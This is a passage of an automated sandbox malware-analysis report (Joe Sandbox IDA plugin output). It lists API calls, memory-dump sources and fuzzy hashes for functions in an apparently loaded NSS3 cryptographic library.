Part of subcall function 6CE53E60: SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6CE53F27

SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6CE7BE52

Part of subcall function 6CE52E00: SECITEM_DupItem_Util.NSS3(-0000003C,00000000,00000000,?,?,?,6CE52CDA,?,00000000), ref: 6CE52E1E
Part of subcall function 6CE52E00: SECITEM_DupItem_Util.NSS3(?), ref: 6CE52E33
Part of subcall function 6CE52E00: TlsGetValue.KERNEL32 ref: 6CE52E4E
Part of subcall function 6CE52E00: EnterCriticalSection.KERNEL32(?), ref: 6CE52E5E
Part of subcall function 6CE52E00: PL_HashTableLookup.NSS3(?), ref: 6CE52E71
Part of subcall function 6CE52E00: PL_HashTableRemove.NSS3(?), ref: 6CE52E84
Part of subcall function 6CE52E00: PL_HashTableAdd.NSS3(?,00000000), ref: 6CE52E96
Part of subcall function 6CE52E00: PR_Unlock.NSS3 ref: 6CE52EA9

PR_SetError.NSS3(FFFFE013,00000000), ref: 6CE7BE61

Memory Dump Source

Source File: 00000000.00000002.1852601917.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000000.00000002.1852581644.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852730283.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852768647.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852789968.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852811778.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852833570.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdd0000_file.jbxd

Similarity

API ID: Util$Item_$Zfree$ArenaHashTable$CertListPoolfree$AllocAlloc_Arena_CallCopyCriticalDecodeDestroyEnterErrorFreeInitK11_LookupOnceQuickRemoveSectionTokensUnlockValue
String ID:
API String ID: 2178860483-0
Opcode ID: 7a879fa5de97c190135246c8b119bbc018a690dc50d9bd6015d3afc8e78888f3
Instruction ID: 1630effe1d1b10ebebcf275524818f3886b58cabce789e8ceba00aebd3d45dcf
Opcode Fuzzy Hash: 7a879fa5de97c190135246c8b119bbc018a690dc50d9bd6015d3afc8e78888f3
Instruction Fuzzy Hash: 1E41C1B5E00210AFC720DF28DC80B6A77F4EB4571CF218568F9499B711E731E915CBA2

Function 6CE9AC10 Relevance: 10.6, APIs: 7, Instructions: 121memoryCOMMON

Download Yara Rule

APIs

PK11_CreateContextBySymKey.NSS3(00000133,00000105,00000000,?,?,6CE9AB3E,?,?,?), ref: 6CE9AC35

Part of subcall function 6CE7CEC0: PK11_FreeSymKey.NSS3(00000000), ref: 6CE7CF16

PORT_ArenaAlloc_Util.NSS3(?,?,?,?,?,?,?,6CE9AB3E,?,?,?), ref: 6CE9AC55

Part of subcall function 6CEB10C0: TlsGetValue.KERNEL32(?,6CE58802,00000000,00000008,?,6CE4EF74,00000000), ref: 6CEB10F3
Part of subcall function 6CEB10C0: EnterCriticalSection.KERNEL32(?,?,6CE58802,00000000,00000008,?,6CE4EF74,00000000), ref: 6CEB110C
Part of subcall function 6CEB10C0: PL_ArenaAllocate.NSS3(?,?,?,6CE58802,00000000,00000008,?,6CE4EF74,00000000), ref: 6CEB1141
Part of subcall function 6CEB10C0: PR_Unlock.NSS3(?,?,?,6CE58802,00000000,00000008,?,6CE4EF74,00000000), ref: 6CEB1182
Part of subcall function 6CEB10C0: TlsGetValue.KERNEL32(?,6CE58802,00000000,00000008,?,6CE4EF74,00000000), ref: 6CEB119C

PK11_CipherOp.NSS3(?,00000000,?,?,?,?,?,?,?,?,?,?,?,6CE9AB3E,?,?), ref: 6CE9AC70

Part of subcall function 6CE7E300: TlsGetValue.KERNEL32 ref: 6CE7E33C
Part of subcall function 6CE7E300: EnterCriticalSection.KERNEL32(?), ref: 6CE7E350
Part of subcall function 6CE7E300: PR_Unlock.NSS3(?), ref: 6CE7E5BC
Part of subcall function 6CE7E300: PK11_GenerateRandom.NSS3(00000000,00000008), ref: 6CE7E5CA
Part of subcall function 6CE7E300: TlsGetValue.KERNEL32 ref: 6CE7E5F2
Part of subcall function 6CE7E300: EnterCriticalSection.KERNEL32(?), ref: 6CE7E606
Part of subcall function 6CE7E300: PORT_Alloc_Util.NSS3(?), ref: 6CE7E613

PK11_GetBlockSize.NSS3(00000133,00000000), ref: 6CE9AC92
PK11_DestroyContext.NSS3(?,00000001,?,?,?,?,?,?,?,?,?,?,?,?,?,6CE9AB3E), ref: 6CE9ACD7
PORT_Alloc_Util.NSS3(?), ref: 6CE9AD10
memcpy.VCRUNTIME140(00000000,?,FF850674), ref: 6CE9AD2B

Part of subcall function 6CE7F360: TlsGetValue.KERNEL32(00000000,?,6CE9A904,?), ref: 6CE7F38B
Part of subcall function 6CE7F360: EnterCriticalSection.KERNEL32(?,?,?,6CE9A904,?), ref: 6CE7F3A0
Part of subcall function 6CE7F360: PR_Unlock.NSS3(?,?,?,?,6CE9A904,?), ref: 6CE7F3D3

Memory Dump Source

Source File: 00000000.00000002.1852601917.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000000.00000002.1852581644.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852730283.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852768647.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852789968.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852811778.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852833570.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdd0000_file.jbxd

Similarity

API ID: K11_$Value$CriticalEnterSection$Alloc_UnlockUtil$ArenaContext$AllocateBlockCipherCreateDestroyFreeGenerateRandomSizememcpy
String ID:
API String ID: 2926855110-0
Opcode ID: 100671c27c248ddabe4638ff9cbeaca95fc6b076fb4f7cc4516e678a05b64123
Instruction ID: 4bd7a550190d00108bb91739a9d3d666e2ea0fcdcafc9b1ef1036918c683c726
Opcode Fuzzy Hash: 100671c27c248ddabe4638ff9cbeaca95fc6b076fb4f7cc4516e678a05b64123
Instruction Fuzzy Hash: 7E3117B1E406155FEB008F699C409AF77B6EF8472CB29852CE815ABB40EB31ED15C7A1

Function 6CE78C70 Relevance: 10.6, APIs: 7, Instructions: 110stringCOMMON

Download Yara Rule

APIs

PR_Now.NSS3 ref: 6CE78C7C

Part of subcall function 6CF19DB0: GetSystemTime.KERNEL32(?,?,?,?,00000001,00000000,?,6CF60A27), ref: 6CF19DC6
Part of subcall function 6CF19DB0: SystemTimeToFileTime.KERNEL32(?,?,?,?,?,00000001,00000000,?,6CF60A27), ref: 6CF19DD1
Part of subcall function 6CF19DB0: __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6CF19DED

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CE78CB0
TlsGetValue.KERNEL32 ref: 6CE78CD1
EnterCriticalSection.KERNEL32(?), ref: 6CE78CE5
PR_Unlock.NSS3(?), ref: 6CE78D2E
PR_SetError.NSS3(FFFFE00F,00000000), ref: 6CE78D62
PR_SetError.NSS3(FFFFE005,00000000), ref: 6CE78D93

Memory Dump Source

Source File: 00000000.00000002.1852601917.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000000.00000002.1852581644.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852730283.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852768647.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852789968.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852811778.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852833570.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdd0000_file.jbxd

Similarity

API ID: Time$ErrorSystem$CriticalEnterFileSectionUnlockUnothrow_t@std@@@Value__ehfuncinfo$??2@strlen
String ID:
API String ID: 3131193014-0
Opcode ID: 72987c413f63c7ef8f891e31d281c984c32fdaef80ba4ec6082f7f5743d159d1
Instruction ID: 6a60f76db9f8444c71b06d7872623f99dbec10ff8c546e397978d9ea7a2b147a
Opcode Fuzzy Hash: 72987c413f63c7ef8f891e31d281c984c32fdaef80ba4ec6082f7f5743d159d1
Instruction Fuzzy Hash: 78312371E00205ABEB209F68DD447AAB7B8FF25318F34013AEA1967B50D771A925C7E1

Function 6CEB9D60 Relevance: 10.6, APIs: 7, Instructions: 108memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(?,00000000,?,?,00000000,?,6CEB9C5B), ref: 6CEB9D82

Part of subcall function 6CEB14C0: TlsGetValue.KERNEL32 ref: 6CEB14E0
Part of subcall function 6CEB14C0: EnterCriticalSection.KERNEL32 ref: 6CEB14F5
Part of subcall function 6CEB14C0: PR_Unlock.NSS3 ref: 6CEB150D

PORT_ArenaGrow_Util.NSS3(?,?,00000000,?,6CEB9C5B), ref: 6CEB9DA9

Part of subcall function 6CEB1340: TlsGetValue.KERNEL32(?,00000000,00000000,?,6CE5895A,00000000,?,00000000,?,00000000,?,00000000,?,6CE4F599,?,00000000), ref: 6CEB136A
Part of subcall function 6CEB1340: EnterCriticalSection.KERNEL32(B8AC9BDF,?,6CE5895A,00000000,?,00000000,?,00000000,?,00000000,?,6CE4F599,?,00000000), ref: 6CEB137E
Part of subcall function 6CEB1340: PL_ArenaGrow.NSS3(?,6CE4F599,?,00000000,?,6CE5895A,00000000,?,00000000,?,00000000,?,00000000,?,6CE4F599,?), ref: 6CEB13CF
Part of subcall function 6CEB1340: PR_Unlock.NSS3(?,?,6CE5895A,00000000,?,00000000,?,00000000,?,00000000,?,6CE4F599,?,00000000), ref: 6CEB145C

PORT_ArenaGrow_Util.NSS3(?,?,?,?,?,?,?,?,6CEB9C5B), ref: 6CEB9DCE

Part of subcall function 6CEB1340: TlsGetValue.KERNEL32(?,00000000,00000000,?,6CE5895A,00000000,?,00000000,?,00000000,?,00000000,?,6CE4F599,?,00000000), ref: 6CEB13F0
Part of subcall function 6CEB1340: PL_ArenaGrow.NSS3(?,6CE4F599,?,?,?,00000000,00000000,?,6CE5895A,00000000,?,00000000,?,00000000,?,00000000), ref: 6CEB1445

PORT_ArenaAlloc_Util.NSS3(?,00000008,6CEB9C5B), ref: 6CEB9DDC
PORT_ArenaAlloc_Util.NSS3(?,00000008,?,?,6CEB9C5B), ref: 6CEB9DFE
PORT_ArenaAlloc_Util.NSS3(?,0000000C,?,?,?,?,6CEB9C5B), ref: 6CEB9E43
PR_SetError.NSS3(FFFFE013,00000000,?,?,?,?,6CEB9C5B), ref: 6CEB9E91

Part of subcall function 6CEFC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CEFC2BF

Part of subcall function 6CEB1560: TlsGetValue.KERNEL32(00000000,00000000,?,?,?,6CEAFAAB,00000000), ref: 6CEB157E
Part of subcall function 6CEB1560: EnterCriticalSection.KERNEL32(B8AC9BDF,?,6CEAFAAB,00000000), ref: 6CEB1592
Part of subcall function 6CEB1560: memset.VCRUNTIME140(?,00000000,?), ref: 6CEB1600
Part of subcall function 6CEB1560: PL_ArenaRelease.NSS3(?,?), ref: 6CEB1620
Part of subcall function 6CEB1560: PR_Unlock.NSS3(?), ref: 6CEB1639

Memory Dump Source

Source File: 00000000.00000002.1852601917.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000000.00000002.1852581644.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852730283.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852768647.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852789968.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852811778.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852833570.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdd0000_file.jbxd

Similarity

API ID: Arena$Util$Value$Alloc_CriticalEnterSectionUnlock$GrowGrow_$ErrorMark_Releasememset
String ID:
API String ID: 3425318038-0
Opcode ID: ec09ca6b5ba00fa30881863b7796f78fa7ddeeb76bf669e4abd50a1f8de51863
Instruction ID: 117aa6cf42111e34c987586bb3ed22ed4d10f1fbe0eb73f272c7f6f66a9e5ef4
Opcode Fuzzy Hash: ec09ca6b5ba00fa30881863b7796f78fa7ddeeb76bf669e4abd50a1f8de51863
Instruction Fuzzy Hash: D74171B4601606AFE7409F55DA40BA2B7B1FF55358F248128E8145BFA0EB72E834CB90

Function 6CE7DDD0 Relevance: 10.6, APIs: 7, Instructions: 106COMMON

Download Yara Rule

APIs

SECOID_FindOIDByTag_Util.NSS3(?), ref: 6CE7DDEC

Part of subcall function 6CEB0840: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6CEB08B4

PK11_DigestBegin.NSS3(00000000), ref: 6CE7DE70
PK11_DigestOp.NSS3(00000000,00000004,00000000), ref: 6CE7DE83
HASH_ResultLenByOidTag.NSS3(?), ref: 6CE7DE95
PK11_DigestFinal.NSS3(00000000,00000000,?,00000040), ref: 6CE7DEAE
PK11_DestroyContext.NSS3(00000000,00000001), ref: 6CE7DEBB
PR_SetError.NSS3(FFFFE005,00000000), ref: 6CE7DECC

Memory Dump Source

Source File: 00000000.00000002.1852601917.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000000.00000002.1852581644.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852730283.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852768647.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852789968.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852811778.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852833570.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdd0000_file.jbxd

Similarity

API ID: K11_$Digest$Error$BeginContextDestroyFinalFindResultTag_Util
String ID:
API String ID: 1091488953-0
Opcode ID: e8c809397b6365567683ae5e35ee548dca39c495f7bb93eb51743def965ef731
Instruction ID: dbeee3c7011ad6c153a89970144b8370a196dd41cbe43f0805f33b7b61221a3b
Opcode Fuzzy Hash: e8c809397b6365567683ae5e35ee548dca39c495f7bb93eb51743def965ef731
Instruction Fuzzy Hash: 6631D5B6E002146BEB21AF64AD41BBB76B8DF5560CF250139ED09A7701FB31DA14C6F2

Function 6CE57E30 Relevance: 10.6, APIs: 7, Instructions: 103memoryCOMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000800), ref: 6CE57E48

Part of subcall function 6CEB0FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6CE587ED,00000800,6CE4EF74,00000000), ref: 6CEB1000
Part of subcall function 6CEB0FF0: PR_NewLock.NSS3(?,00000800,6CE4EF74,00000000), ref: 6CEB1016
Part of subcall function 6CEB0FF0: PL_InitArenaPool.NSS3(00000000,security,6CE587ED,00000008,?,00000800,6CE4EF74,00000000), ref: 6CEB102B

PORT_ArenaAlloc_Util.NSS3(00000000,00000008), ref: 6CE57E5B

Part of subcall function 6CEB10C0: TlsGetValue.KERNEL32(?,6CE58802,00000000,00000008,?,6CE4EF74,00000000), ref: 6CEB10F3
Part of subcall function 6CEB10C0: EnterCriticalSection.KERNEL32(?,?,6CE58802,00000000,00000008,?,6CE4EF74,00000000), ref: 6CEB110C
Part of subcall function 6CEB10C0: PL_ArenaAllocate.NSS3(?,?,?,6CE58802,00000000,00000008,?,6CE4EF74,00000000), ref: 6CEB1141
Part of subcall function 6CEB10C0: PR_Unlock.NSS3(?,?,?,6CE58802,00000000,00000008,?,6CE4EF74,00000000), ref: 6CEB1182
Part of subcall function 6CEB10C0: TlsGetValue.KERNEL32(?,6CE58802,00000000,00000008,?,6CE4EF74,00000000), ref: 6CEB119C

SECITEM_CopyItem_Util.NSS3(00000000,?,?), ref: 6CE57E7B

Part of subcall function 6CEAFB60: PORT_ArenaAlloc_Util.NSS3(00000000,E0056800,00000000,?,?,6CEA8D2D,?,00000000,?), ref: 6CEAFB85
Part of subcall function 6CEAFB60: memcpy.VCRUNTIME140(00000000,6A1BEBC6,E0056800,?), ref: 6CEAFBB1

SEC_QuickDERDecodeItem_Util.NSS3(00000000,00000000,6CF7925C,?), ref: 6CE57E92

Part of subcall function 6CEAB030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6CF818D0,?), ref: 6CEAB095

PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6CE57EA1
SECOID_FindOID_Util.NSS3(00000004), ref: 6CE57ED1
SECOID_FindOID_Util.NSS3(00000004), ref: 6CE57EFA

Memory Dump Source

Source File: 00000000.00000002.1852601917.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000000.00000002.1852581644.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852730283.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852768647.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852789968.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852811778.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852833570.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdd0000_file.jbxd

Similarity

API ID: Util$Arena$Alloc_Arena_FindItem_Value$AllocateCopyCriticalDecodeEnterErrorFreeInitLockPoolQuickSectionUnlockcallocmemcpy
String ID:
API String ID: 3989529743-0
Opcode ID: efe324ffa2c4e82e9e8262319075a8d71c57fea8d4ac65c4389f5f6e83c5b811
Instruction ID: 9c4523d281a2d1d90b1ba02d3c132b334aa9b1692ff7f881c075c0a0113e247d
Opcode Fuzzy Hash: efe324ffa2c4e82e9e8262319075a8d71c57fea8d4ac65c4389f5f6e83c5b811
Instruction Fuzzy Hash: 8631C1B2E103119BEB10CB659D45B6B73B8AF0425CF658828DC55EBB01EB32FC24C7A0

Function 6CEADC10 Relevance: 10.6, APIs: 7, Instructions: 94memoryCOMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,00000000,?,?,00000000,?,?,6CEAD9E4,00000000), ref: 6CEADC30
PORT_ArenaAlloc_Util.NSS3(?,0000000C,?,?,00000000,?,?,6CEAD9E4,00000000), ref: 6CEADC4E
PORT_Alloc_Util.NSS3(0000000C,?,?,00000000,?,?,6CEAD9E4,00000000), ref: 6CEADC5A
PORT_ArenaAlloc_Util.NSS3(?,?), ref: 6CEADC7E
memcpy.VCRUNTIME140(00000000,?,?), ref: 6CEADCAD

Memory Dump Source

Source File: 00000000.00000002.1852601917.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000000.00000002.1852581644.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852730283.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852768647.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852789968.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852811778.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852833570.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdd0000_file.jbxd

Similarity

API ID: Alloc_Util$Arenamemcpy
String ID:
API String ID: 2632744278-0
Opcode ID: 40f5f10993369f7be289754d92519d3a57b0bab78485f4aa797ec1300cec6905
Instruction ID: 0d0b354d4d025cea458e4e6f135c91897f165899760bf72c50911ba6dcb0c57d
Opcode Fuzzy Hash: 40f5f10993369f7be289754d92519d3a57b0bab78485f4aa797ec1300cec6905
Instruction Fuzzy Hash: 7A3141B9900300AFD750CF99D884B56B7F8AF09358F644429ED48CFB01E772EA45CB91

Function 6CE72E40 Relevance: 10.6, APIs: 7, Instructions: 92COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(00000000,00000000,00000038,?,6CE6E728,?,00000038,?,?,00000000), ref: 6CE72E52
EnterCriticalSection.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6CE72E66
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6CE72E7B
EnterCriticalSection.KERNEL32(00000000), ref: 6CE72E8F
PL_HashTableLookup.NSS3(?,?), ref: 6CE72E9E
PR_Unlock.NSS3(?), ref: 6CE72EAB
PR_Unlock.NSS3(?), ref: 6CE72F0D

Memory Dump Source

Source File: 00000000.00000002.1852601917.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000000.00000002.1852581644.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852730283.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852768647.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852789968.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852811778.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852833570.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdd0000_file.jbxd

Similarity

API ID: CriticalEnterSectionUnlockValue$HashLookupTable
String ID:
API String ID: 3106257965-0
Opcode ID: ffe406b8ed535d12a0985b96a978f4b3b4a2012a6fff6a98bf27ebd2eed82d97
Instruction ID: d7be6027af84947ec4cf6e0993a55e059779eff6092d0fba06bdb29ceb3e0530
Opcode Fuzzy Hash: ffe406b8ed535d12a0985b96a978f4b3b4a2012a6fff6a98bf27ebd2eed82d97
Instruction Fuzzy Hash: BB313475E00105EBEB106F68EC4497AB774EF1525CB248138EC1887B11EB32DC64C7E1

Function 6CE91EA0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 91COMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE002,00000000,?,00000001,?,S&l,6CE76295,?,00000000,?,00000001,S&l,?), ref: 6CE91ECB

Part of subcall function 6CEFC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CEFC2BF

TlsGetValue.KERNEL32(?,00000001,?,S&l,6CE76295,?,00000000,?,00000001,S&l,?), ref: 6CE91EF1
EnterCriticalSection.KERNEL32(?), ref: 6CE91F01
PR_SetError.NSS3(00000000,00000000), ref: 6CE91F39

Part of subcall function 6CE9FE20: TlsGetValue.KERNEL32(6CE75ADC,?,00000000,00000001,?,?,00000000,?,6CE6BA55,?,?), ref: 6CE9FE4B
Part of subcall function 6CE9FE20: EnterCriticalSection.KERNEL32(78831D90,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 6CE9FE5F

PR_Unlock.NSS3(?), ref: 6CE91F67

Strings

S&l, xrefs: 6CE91EA0

Memory Dump Source

Source File: 00000000.00000002.1852601917.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000000.00000002.1852581644.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852730283.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852768647.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852789968.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852811778.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852833570.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdd0000_file.jbxd

Similarity

API ID: Value$CriticalEnterErrorSection$Unlock
String ID: S&l
API String ID: 704537481-539497627
Opcode ID: 98d5bdc1e507337f7bf730de31ef514b6edba8172bc677f1cf92ec550c76d891
Instruction ID: 83241429357770206cc84c9b6ef7f2d52cb6921ac4b89c53c8ae7f2bac3dd4d6
Opcode Fuzzy Hash: 98d5bdc1e507337f7bf730de31ef514b6edba8172bc677f1cf92ec550c76d891
Instruction Fuzzy Hash: 3221F275E00208ABEB10AEA9EC46B9A377DEF413ACF344168FD1987B01E731D95586E0

Function 6CEBCEE0 Relevance: 10.6, APIs: 7, Instructions: 79memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(?,6CEBCD93,?), ref: 6CEBCEEE

Part of subcall function 6CEB14C0: TlsGetValue.KERNEL32 ref: 6CEB14E0
Part of subcall function 6CEB14C0: EnterCriticalSection.KERNEL32 ref: 6CEB14F5
Part of subcall function 6CEB14C0: PR_Unlock.NSS3 ref: 6CEB150D

PORT_ArenaAlloc_Util.NSS3(?,00000018,?,6CEBCD93,?), ref: 6CEBCEFC

Part of subcall function 6CEB10C0: TlsGetValue.KERNEL32(?,6CE58802,00000000,00000008,?,6CE4EF74,00000000), ref: 6CEB10F3
Part of subcall function 6CEB10C0: EnterCriticalSection.KERNEL32(?,?,6CE58802,00000000,00000008,?,6CE4EF74,00000000), ref: 6CEB110C
Part of subcall function 6CEB10C0: PL_ArenaAllocate.NSS3(?,?,?,6CE58802,00000000,00000008,?,6CE4EF74,00000000), ref: 6CEB1141
Part of subcall function 6CEB10C0: PR_Unlock.NSS3(?,?,?,6CE58802,00000000,00000008,?,6CE4EF74,00000000), ref: 6CEB1182
Part of subcall function 6CEB10C0: TlsGetValue.KERNEL32(?,6CE58802,00000000,00000008,?,6CE4EF74,00000000), ref: 6CEB119C

SECOID_FindOIDByTag_Util.NSS3(00000023,?,?,?,6CEBCD93,?), ref: 6CEBCF0B

Part of subcall function 6CEB0840: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6CEB08B4

SECITEM_CopyItem_Util.NSS3(?,00000000,00000000,?,?,?,?,6CEBCD93,?), ref: 6CEBCF1D

Part of subcall function 6CEAFB60: PORT_ArenaAlloc_Util.NSS3(00000000,E0056800,00000000,?,?,6CEA8D2D,?,00000000,?), ref: 6CEAFB85
Part of subcall function 6CEAFB60: memcpy.VCRUNTIME140(00000000,6A1BEBC6,E0056800,?), ref: 6CEAFBB1

PORT_ArenaAlloc_Util.NSS3(?,00000008,?,?,?,?,?,?,?,6CEBCD93,?), ref: 6CEBCF47
PORT_ArenaAlloc_Util.NSS3(?,0000000C,?,?,?,?,?,?,?,?,?,6CEBCD93,?), ref: 6CEBCF67
SECITEM_CopyItem_Util.NSS3(?,00000000,6CEBCD93,?,?,?,?,?,?,?,?,?,?,?,6CEBCD93,?), ref: 6CEBCF78

Memory Dump Source

Source File: 00000000.00000002.1852601917.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000000.00000002.1852581644.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852730283.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852768647.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852789968.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852811778.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852833570.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdd0000_file.jbxd

Similarity

API ID: Util$Arena$Alloc_$Value$CopyCriticalEnterItem_SectionUnlock$AllocateErrorFindMark_Tag_memcpy
String ID:
API String ID: 4291907967-0
Opcode ID: a3aab832d6a22432be4a6ae88c8f79b101dc4fa96841c8453af480ac5133103c
Instruction ID: 8acd0375f8b0398aa6fe80c55b52d5da36afd898f5070289aa864ea4efd007cd
